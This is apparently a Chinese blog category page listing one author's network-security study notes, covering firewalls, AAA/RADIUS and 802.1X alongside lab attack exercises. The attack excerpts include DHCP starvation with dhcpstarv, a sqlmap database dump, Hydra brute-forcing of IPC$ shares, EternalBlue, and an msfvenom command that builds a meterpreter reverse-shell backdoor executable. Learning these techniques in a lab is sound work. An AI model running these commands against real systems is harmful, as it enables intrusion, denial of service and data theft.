![](https://img-blog.csdnimg.cn/eedfe82643154bc6b421d9fa2c9bd53d.jpeg?x-oss-process=image/resize,m_fixed,h_224,w_224)
网络安全
文章平均质量分 56
网络安全
Purvis_U
毕业于xxxx学校.
展开
-
Web安全基础文章
Web 安全原创 2022-10-16 15:03:18 · 1018 阅读 · 0 评论 -
SSLvpin
SSL VPN网关原创 2022-07-06 23:09:15 · 504 阅读 · 0 评论 -
安全相关笔记
web渗透 信息收集,安全工具等原创 2022-09-16 17:50:32 · 266 阅读 · 0 评论 -
Windows默认共享IPC$攻击实践
简介IPC共享命名的管道资源,为了让进程之间通信而开放的命名管道,可以通过验证用户名和密码获得相应的去权限,远程管理计算机和检查计算机的共享资源时使用的.如果远程服务器没有监听139或445端口,IPC$会话是无法建立的。实验工具nmap-探测机器服务和端口kali-Hydra 暴力破解获取目标机器的账号密码靶机 ip:192.168.1.2 版本:Windows server 2016攻击机 ip:192.168.1.3 版本:Windows 7攻击步骤1. 利用nma原创 2022-05-02 10:16:59 · 1322 阅读 · 0 评论 -
IDS入侵检测&IPS入侵防御
学习笔记什么是入侵入侵检测系统-IDSIDS特点主动发起检测检测入侵特征-发送通知到阻断设备通常情况下旁挂 在企业网络中,和防火墙联动传统fw加IDS弊端入侵防御系统-IPSIDS与IPS对比IPS原理IPS检测原理 – 分片重组 – 协议识别 – 深度检测报文特征 – 进行IPS特征库签名比对。每个IPS特征库(特征)签名对应一组已经收集完毕的入侵特征 , 每个签名都对应着一个默认动作。IPS部署串接旁路部署IPS安全策.原创 2022-04-17 15:25:17 · 793 阅读 · 0 评论 -
av病毒相关
学习笔记病毒基本概念病毒威胁场景常见病毒传播方式什么是病毒?蠕虫病毒木马病毒病毒对比防护措施单机反病毒(杀毒软件)运行过程将本机文件和杀毒软件病毒库比对。比对结果异常,中毒风险。网关反病毒(AVG)-通过网关设备实现对文件传输病毒检测,比如防火墙网关防病毒原理网关防病毒处置动作...原创 2022-04-17 13:46:23 · 142 阅读 · 0 评论 -
802.1x准入控制技术
端口控制开启dot1x后一个物理端口分为两个逻辑端口(受控接口和非受控端口)**非受控端口:**始终处于双向连通状态,主要用来传递认证报文,保证客户端始终能够发出或接受认证报文** **授权状态下处于双向连通状态,用于传递业务报文;在非授权状态下禁止从客户端接收任何报文受控端口如何通过认证EAPOL协议(EAP)认证通过(业务场景应该使用的方式)强制授权...原创 2022-04-17 11:13:41 · 524 阅读 · 0 评论 -
radius部署(实验)
学习笔记AAA本地验证telnet_client配置:interface GigabitEthernet0/0/1 ip address 192.168.1.1 255.255.255.0telnet_server配置:[telnet_server]aaatelnet_server-aaa]local-user zhangshan password cipher 123456[telnet_server-aaa]local-user zhangshan service-typ.原创 2022-04-13 22:10:34 · 1275 阅读 · 2 评论 -
终端安全-准入控制AAA认证
准入控制在加入到网络(内网)之前,需要对身份信息进行审核byod安全认证流程AAA认证认证/授权/计费()审计计费:认证过后的登录时间或访问流量AAA系统-包含多种设备和协议client-AAA客户端--------NAS网络访问服务器server-AAA服务器------集中在一个系统中搭建如果把用户登录的口令信息存储在设备本地(交换机)-本地认证优点:简单,不需要额外搭建AAA认证服务器缺点:在每个设备本地都需要进行配置。如果把用户登录口令信息存储在AAA认证原创 2022-04-12 23:40:51 · 844 阅读 · 0 评论 -
防火墙原理和配置
学习笔记(华为hcip-security)防火墙发展史UTM和NGFW部署1. 二层透明模式2. 三层子网模式华为防火墙USG6000V- 防火墙初始化命令行配置重新创建拓扑-添加USG6000并且开启防火墙,进行WEB页面登录用户名admin/密码Admin@123 首次登录必须修改密码,建议修改密码为:Admin@1234防火墙USG6600默认 G0/0/0接口-192.168.0.1 将接口地址修改为 192.168.199.231使用建议使用.原创 2022-04-12 22:40:33 · 1120 阅读 · 0 评论 -
ARP攻击
学习笔记arp攻击原理模拟攻击防御DHCP snoopingDHCP-SNOOPING开启之后-交换机创建DHCP-SNOOPING表 五元素表交换机可以监听DHCP消息内容 ,将监听到的内容添加到DHCP-SNOOPING五元素表交换机配合DHCP-SNOOPING五元素表 继续开启 ARP anti attack ARP攻击防范(交换机接口/VLAN下),开启该功能之后,交换机接口收到了ARP消息后,交换机查询该ARP消息中的send-mac/send-ip.对应关系。.原创 2022-04-10 16:51:39 · 511 阅读 · 0 评论 -
dhcp 服务器仿冒攻击
攻击原理攻击工具yersini防御措施dhcp snooping当交换机开启了 DHCP-Snooping后,会对DHCP报文进行侦听,并可以从接收到的DHCP Request或DHCP Ack报文中提取并记录IP地址和MAC地址信息。另外,DHCP-Snooping允许将某个物理端口设置为信任端口或不信任端口。信任端口可以正常接收并转发DHCP Offer报文,而不信任端口会将接收到的DHCP Offer报文丢弃。这样,可以完成交换机对假冒DHCP Server的屏蔽作用,确保客户端从合法的原创 2022-04-10 11:47:27 · 754 阅读 · 0 评论 -
DHCP饿死攻击
原理如果需要进行DHCP饿死攻击,必须不断发送伪造不同的chaddr地址的dhcp discover消息来获取地址漏洞分析DHCP服务器向申请者分配IP地址时,无法区分正常的申请者与恶意的申请者实现工具kaili: Dhcpstarv工具攻击命令dhcpstarv -i [interface-name]例子:dhcpstarv -i eth0防御方式dhcp snooping开启dhcp snooping监听dhcp recover报文[Huawei]dhcp原创 2022-04-10 11:46:40 · 4786 阅读 · 1 评论 -
Sql注入-POST注入-sqlmap
如何使用sqlmap跑post注入首先使用burpsuite抓请求包将请求头复制粘贴到sqlmap路径下的新建txt文件内sqlmap开始跑python2 sqlmap.py -r post.txt --dump结果如下:原创 2021-12-19 09:15:38 · 297 阅读 · 0 评论 -
Sql注入-POST注入
sql注入,网络安全原创 2021-12-19 09:08:56 · 2887 阅读 · 0 评论 -
[内网渗透]msfconsole提权
1.环境准备kali虚拟机IP:192.168.112.66靶机win7 SP1IP:192.168.112.1452.生成后门程序msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.66 lport=4444 -f exe -o /tmp/purvis.exe这里我们为生成的木马指定了payload为:windows/meterpreter/reverse_tcp,反弹到的监听端地址为192.168.112.66原创 2021-03-17 23:36:27 · 1309 阅读 · 0 评论 -
永恒之蓝ms17-010复现
使用工具:Metasploit一、环境准备kali虚拟机IP:192.168.112.66server2008ip:192.168.112.135二、Metasploit简介Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发、代码审计、Web应用程序扫描、社会工程等。Metasploit框架(Metasploit Framework,MSF)是一个开源工原创 2021-02-28 09:58:39 · 357 阅读 · 1 评论 -
[网络安全入门]密码学基础-数字签名到底是什么?
2021年准备在工作之余加强网络安全这块知识的学习,博文主要是记录自己的学习笔记,内容比较基础。数字签名:公钥数字签名,只有信息的发送者才能产生别人无法伪造的一段数字串,类似于合同上的签名。一、安全通讯所需特征:机密性,完整性,端点鉴别1.机密性简单来说就是只有发送方和希望接受方能看到文件的内容要实现机密性很明显要用到加密,即将发送的明文运用加密算法进行加密形成密文,让别人看不懂,只有接收方能使用解密算法解密出明文2.完整性不能让其他人篡改或增删通信内容A给B发送文件被中间人纂改后发送原创 2021-01-16 20:04:58 · 854 阅读 · 0 评论 -
[网络安全入门]SQL注入-sqli-labs windows测试环境搭建
2021年准备在工作之余加强网络安全这块知识的学习,博文主要是记录自己的学习笔记,比较基础。原创 2021-01-15 22:08:20 · 302 阅读 · 0 评论